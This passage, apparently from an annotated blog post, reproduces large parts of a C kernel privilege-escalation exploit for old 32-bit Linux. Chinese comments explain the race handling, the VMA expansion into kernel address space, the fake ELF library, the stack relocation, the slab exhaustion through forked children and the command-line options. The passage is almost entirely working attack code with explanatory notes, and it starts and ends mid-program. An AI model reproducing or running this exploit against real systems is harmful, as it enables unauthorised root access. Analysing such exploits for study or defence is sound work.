0);&nbsp;&nbsp;&nbsp; // 如果race没有发生，配合raceme的代码retry<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(finish) break;<br>
<br>
//&nbsp;&nbsp;&nbsp; wipe lib VMAs and try again<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r = sys_munmap(lib_addr,
LIB_SIZE);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(r) fatal("munmap lib",
0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(ccnt) goto failed;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( !silent &amp;&amp;
!(pcnt%64) ) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
printf("\r&nbsp;&nbsp;&nbsp; Wait... %c", smiley[ (pcnt/64)%8
]);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pcnt++;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; seems we raced, free mem&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // race已经完成，开始释放内存资源，以进行后续的权限提升操作。<br>
&nbsp;&nbsp;&nbsp; r = sys_munmap(map_addr, map_base-map_addr +
PAGE_SIZE);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("munmap 1", 0);<br>
&nbsp;&nbsp;&nbsp; r = sys_munmap(lib_addr, PAGE_SIZE);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("munmap 2", 0);<br>
<br>
//&nbsp;&nbsp;&nbsp; relax kswapd<br>
&nbsp;&nbsp;&nbsp; sys_gettimeofday(&amp;tm1, NULL);<br>
&nbsp;&nbsp;&nbsp; for(;;) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sys_sched_yield();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sys_gettimeofday(&amp;tm2,
NULL);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; delta = tmdiff(&amp;tm1,
&amp;tm2);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( wtime*1000000U &lt;=
(unsigned)delta ) break;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; we need to check the PROT_EXEC flag<br>
&nbsp;&nbsp;&nbsp; map_flags = PROT_EXEC;<br>
&nbsp;&nbsp;&nbsp; check_vma_flags();<br>
&nbsp;&nbsp;&nbsp; if(!map_flags) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n&nbsp;&nbsp;&nbsp;
VMAs reversed"); fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; write protect brk's VMA to fool
vm_enough_memory()<br>
&nbsp;&nbsp;&nbsp; r = sys_mprotect((lib_addr + PAGE_SIZE),
LIB_SIZE-PAGE_SIZE,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;PROT_READ|map_flags);<br>
&nbsp;&nbsp;&nbsp; if(-1==r) { fatal("mprotect brk", 0); }<br>
<br>
//&nbsp;&nbsp;&nbsp; this will finally make the big VMA...<br>
&nbsp;&nbsp;&nbsp; sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;<br>
expand:<br>
&nbsp;&nbsp;&nbsp; r = sys_madvise((void*)(lib_addr +
PAGE_SIZE),<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("madvise", 0);<br>
&nbsp;&nbsp;&nbsp; r = sys_mremap(lib_addr +
LIB_SIZE-PAGE_SIZE,&nbsp;&nbsp;&nbsp; //
注意这里与raceme中的sys_mmap的起始地址差两个页面<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; PAGE_SIZE,
sz, MREMAP_MAYMOVE, 0);&nbsp;&nbsp;&nbsp; //
这个sys_mremap完成了内核空间地址的映射<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 下面是do_mremap中的一个code
snip：<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
---------------------------------------------------<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // unsigned long max_addr =
TASK_SIZE;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp; if
(vma-&gt;vm_next)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; max_addr = vma-&gt;vm_next-&gt;vm_start;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp; /* can
we just expand the current mapping? */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp; if
(max_addr - addr &gt;= new_len) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
---------------------------------------------------<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
由于raceme中制造的vma乱序，导致max_addr&lt;addr<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 所以这个sys_mremap会成功<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(-1==r) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(0==sz) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fatal("mremap: expand VMA", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sz -=
PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto
expand;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; vma_start = lib_addr +
PAGE_SIZE;&nbsp;&nbsp;&nbsp; //
到这里就得到了0xc0000000以上的kernel空间访问能力，后面即可以使用do_brk中的技术。<br>
&nbsp;&nbsp;&nbsp; vma_end = vma_start + sz + 2*PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; printf("\n&nbsp;&nbsp;&nbsp; expanded VMA
(0x%.8x-0x%.8x)", vma_start, vma_end);<br>
&nbsp;&nbsp;&nbsp; fflush(stdout);<br>
<br>
//&nbsp;&nbsp;&nbsp; try to figure kernel layout<br>
&nbsp;&nbsp;&nbsp; signal(SIGCHLD, reaper);<br>
&nbsp;&nbsp;&nbsp; signal(SIGSEGV, segvcnt);<br>
&nbsp;&nbsp;&nbsp; signal(SIGBUS, segvcnt);<br>
&nbsp;&nbsp;&nbsp; scan_mm_start();<br>
<br>
failed:<br>
&nbsp;&nbsp;&nbsp; fatal("try again", 0);<br>
<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; make fake ELF library<br>
void make_lib()<br>
{<br>
struct elfhdr eh;<br>
struct elf_phdr eph;<br>
static char tmpbuf[PAGE_SIZE];<br>
int fd;<br>
<br>
//&nbsp;&nbsp;&nbsp; make our elf library<br>
&nbsp;&nbsp;&nbsp; umask(022);<br>
&nbsp;&nbsp;&nbsp; unlink(libname);<br>
&nbsp;&nbsp;&nbsp; fd=open(libname, O_RDWR|O_CREAT|O_TRUNC,
0755);<br>
&nbsp;&nbsp;&nbsp; if(fd&lt;0) fatal("open lib ("LIBNAME" not
writable?)", 0);<br>
&nbsp;&nbsp;&nbsp; memset(&amp;eh, 0, sizeof(eh) );<br>
<br>
//&nbsp;&nbsp;&nbsp; elf exec header<br>
&nbsp;&nbsp;&nbsp; memcpy(eh.e_ident, ELFMAG, SELFMAG);<br>
&nbsp;&nbsp;&nbsp; eh.e_type = ET_EXEC;<br>
&nbsp;&nbsp;&nbsp; eh.e_machine = EM_386;<br>
&nbsp;&nbsp;&nbsp; eh.e_phentsize = sizeof(struct elf_phdr);<br>
&nbsp;&nbsp;&nbsp; eh.e_phnum = 1;<br>
&nbsp;&nbsp;&nbsp; eh.e_phoff = sizeof(eh);<br>
&nbsp;&nbsp;&nbsp; write(fd, &amp;eh, sizeof(eh) );<br>
<br>
//&nbsp;&nbsp;&nbsp; section header:<br>
&nbsp;&nbsp;&nbsp; memset(&amp;eph, 0, sizeof(eph) );<br>
&nbsp;&nbsp;&nbsp; eph.p_type = PT_LOAD;<br>
&nbsp;&nbsp;&nbsp; eph.p_offset = 4096;<br>
&nbsp;&nbsp;&nbsp; eph.p_filesz = 4096;<br>
&nbsp;&nbsp;&nbsp; eph.p_vaddr = lib_addr;<br>
&nbsp;&nbsp;&nbsp; eph.p_memsz = LIB_SIZE;<br>
&nbsp;&nbsp;&nbsp; eph.p_flags = PF_W|PF_R|PF_X;<br>
&nbsp;&nbsp;&nbsp; write(fd, &amp;eph, sizeof(eph) );<br>
<br>
//&nbsp;&nbsp;&nbsp; execable code<br>
&nbsp;&nbsp;&nbsp; lseek(fd, 4096, SEEK_SET);<br>
&nbsp;&nbsp;&nbsp; memset(tmpbuf, 0x90, sizeof(tmpbuf) );<br>
&nbsp;&nbsp;&nbsp; write(fd, &amp;tmpbuf, sizeof(tmpbuf) );<br>
&nbsp;&nbsp;&nbsp; close(fd);<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; move stack down //2<br>
void prepare_finish()<br>
{<br>
int r;<br>
struct stat st;<br>
static struct sysinfo si;<br>
<br>
&nbsp;&nbsp;&nbsp; old_esp &amp;= ~(PAGE_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; old_esp -= PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB)
* 1 GB; // 考虑到TASK_SIZE也许存在不等于3G的情况，此处做一个简单的<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//
对齐运算，得到TASK_SIZE（这里假设栈底位于TASK_SIZE处）<br>
&nbsp;&nbsp;&nbsp; r = sys_munmap(old_esp, task_size-old_esp);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("unmap stack", 0);<br>
<br>
//&nbsp;&nbsp;&nbsp; setup rt env<br>
&nbsp;&nbsp;&nbsp; uid = getuid();<br>
&nbsp;&nbsp;&nbsp; lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//
从这里开始计算一些make_lib需要用到信息值<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//
这个lib_addr很重要，在race处理时还要用到<br>
&nbsp;&nbsp;&nbsp; if(map_base)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; map_addr = map_base;<br>
&nbsp;&nbsp;&nbsp; else<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; map_base = map_addr =
(lib_addr - PGD_SIZE) &amp; ~(PGD_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; printf("\n[+] moved stack %x, task_size=0x%.8x,
map_base=0x%.8x",<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; old_esp, task_size,
map_base); fflush(stdout);<br>
<br>
//&nbsp;&nbsp;&nbsp; new method :-]<br>
&nbsp;&nbsp;&nbsp; if(!stat("/proc/kcore", &amp;st)){<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_min = (task_size +
st.st_size + PGD_SIZE ) &amp; ~(PGD_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_max = (addr_min +
st.st_size) &amp; ~(PAGE_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; } else {<br>
//&nbsp;&nbsp;&nbsp; old method<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sysinfo(&amp;si);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(ram_limit &amp;&amp;
si.totalram &gt; ram_limit)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
si.totalram = ram_limit;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(si.totalram &gt;=
896*1024*1024 )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
printf("&nbsp;&nbsp;&nbsp; lot of RAM, consider -r switch");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_min = task_size +
si.totalram;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_min = (addr_min +
PGD_SIZE - 1) &amp; ~(PGD_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_max = addr_min +
si.totalram;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; if((unsigned)addr_max &gt;= 0xffffe000 ||
(unsigned)addr_max &lt; (unsigned)addr_min)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr_max = 0xffffd000;<br>
<br>
&nbsp;&nbsp;&nbsp; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x",
addr_min, addr_max);<br>
&nbsp;&nbsp;&nbsp; max_page = (addr_max - addr_min) /
PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; pagemap = malloc( max_page + 32 );<br>
&nbsp;&nbsp;&nbsp; if(!pagemap) fatal("malloc pagemap", 1);<br>
&nbsp;&nbsp;&nbsp; memset(pagemap, 0, max_page + 32);<br>
<br>
//&nbsp;&nbsp;&nbsp; go go<br>
&nbsp;&nbsp;&nbsp; make_lib();&nbsp;&nbsp;&nbsp; //
创建一个elf库，目的可能是为了更好的控制库的大小和BSS起始地址<br>
&nbsp;&nbsp;&nbsp; exploitme();<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; move stack down //1<br>
void prepare()<br>
{<br>
unsigned p=0;<br>
<br>
&nbsp;&nbsp;&nbsp; environ = myenv;<br>
<br>
&nbsp;&nbsp;&nbsp; p = sys_mmap2( 0, STACK_SIZE,
PROT_READ|PROT_WRITE,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAP_PRIVATE|MAP_ANONYMOUS, 0,
0&nbsp;&nbsp;&nbsp; );<br>
&nbsp;&nbsp;&nbsp; if(-1==p) fatal("mmap2 stack", 0);<br>
&nbsp;&nbsp;&nbsp; p += STACK_SIZE - 64;<br>
<br>
&nbsp;&nbsp;&nbsp; __asm__("movl&nbsp;&nbsp;&nbsp; %%esp,
%0&nbsp;&nbsp;&nbsp; \n"&nbsp;&nbsp;&nbsp; //
将堆栈移到新的位置，这个和do_brk中的思路一致（为到kernel空间的VMA让路）<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "movl &nbsp;&nbsp;&nbsp; %1,
%%esp&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; : : "m"(old_esp), "m"(p)<br>
&nbsp;&nbsp;&nbsp; );<br>
<br>
&nbsp;&nbsp;&nbsp; prepare_finish();<br>
}<br>
<br>
<br>
void chldcnt(int v)<br>
{<br>
&nbsp;&nbsp;&nbsp; ccnt++;<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; alloc slab objects...<br>
inline void do_wipe()<br>
{<br>
int *r, c=0, left=0;<br>
<br>
&nbsp;&nbsp;&nbsp; __asm__("movl&nbsp;&nbsp;&nbsp; %%esp, %0" : :
"m"(old_esp) );<br>
<br>
&nbsp;&nbsp;&nbsp; old_esp = (old_esp - PGD_SIZE+1) &amp;
~(PGD_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; old_esp = map_base? map_base : old_esp;<br>
<br>
&nbsp;&nbsp;&nbsp; for(;;) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(left&lt;=0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; left =
get_slab_objs("vm_area_struct");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(left &lt;= SLAB_THRSH)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; left--;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; map_flags ^= PROT_READ;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; old_esp -= PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r = (void*)sys_mmap2(old_esp,
PAGE_SIZE, map_flags,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(MAP_FAILED == r)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(c&gt;SLAB_PER_CHLD)&nbsp;&nbsp;&nbsp; //
每个子进程仅需要完成这个数量VMA的申请<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( (c%1024)==0 ) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!c)
printf("\n");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
printf("\r&nbsp;&nbsp;&nbsp; child %d VMAs %d", val, c);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c++;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; printf("\r&nbsp;&nbsp;&nbsp; child %d VMAs %d",
val, c);<br>
&nbsp;&nbsp;&nbsp; fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; kill(getppid(), SIGUSR1);&nbsp;&nbsp;&nbsp; //
通知父进程本child进程任务完成<br>
&nbsp;&nbsp;&nbsp; for(;;) pause();&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // 进程休眠<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; empty SLAB caches<br>
void wipe_slab()<br>
{<br>
&nbsp;&nbsp;&nbsp; signal(SIGUSR1, chldcnt);<br>
&nbsp;&nbsp;&nbsp; printf("\n[+] SLAB cleanup");
fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; for(;;) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ccnt=0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; val++;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cpid =
fork();&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // fork子进程来耗费VMA<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!cpid)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
do_wipe();<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(!ccnt)
sys_sched_yield();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(
get_slab_objs("vm_area_struct") &lt;= SLAB_THRSH )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; signal(SIGUSR1, SIG_DFL);<br>
}<br>
<br>
<br>
void usage(char *n)<br>
{<br>
&nbsp;&nbsp;&nbsp; printf("\nUsage: %s\t-f forced stop\n", n);<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-s silent mode\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-r mem limit bytes\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-c command to run\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-n SMP iterations\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-d race delta usecs\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-w kswapd wait seconds\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-l alternate lib name\n");<br>
&nbsp;&nbsp;&nbsp; printf("\t\t-a alternate addr hex\n");<br>
&nbsp;&nbsp;&nbsp; printf("\n");<br>
&nbsp;&nbsp;&nbsp; _exit(1);<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; give -s for forced stop, -b to clean SLAB<br>
int main(int ac, char **av)<br>
{<br>
int r;<br>
<br>
&nbsp;&nbsp;&nbsp; while(ac) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r = getopt(ac, av,
"n:l:a:w:c:d:r:fsh");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(r&lt;0) break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; switch(r) {<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'f' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fstop =
1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 's' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; silent =
1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'n' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; smp_max =
atoi(optarg);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'd':<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(1!=sscanf(optarg, "%u", &amp;delta_max) || delta_max &gt;
100000u )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; fatal("bad delta value", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'r':<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(1!=sscanf(optarg, "%u", &amp;ram_limit) )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; fatal("bad ram limit", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ram_limit
&amp;= ~(PAGE_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'w' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; wtime =
atoi(optarg);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(wtime&lt;0) fatal("bad wait value", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'l' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; libname =
strdup(optarg);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'c' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; shellname
= strdup(optarg);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'a' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(1!=sscanf(optarg, "%x", &amp;map_base))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; fatal("bad addr value", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; map_base
&amp;= ~(PGD_SIZE-1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
<br>
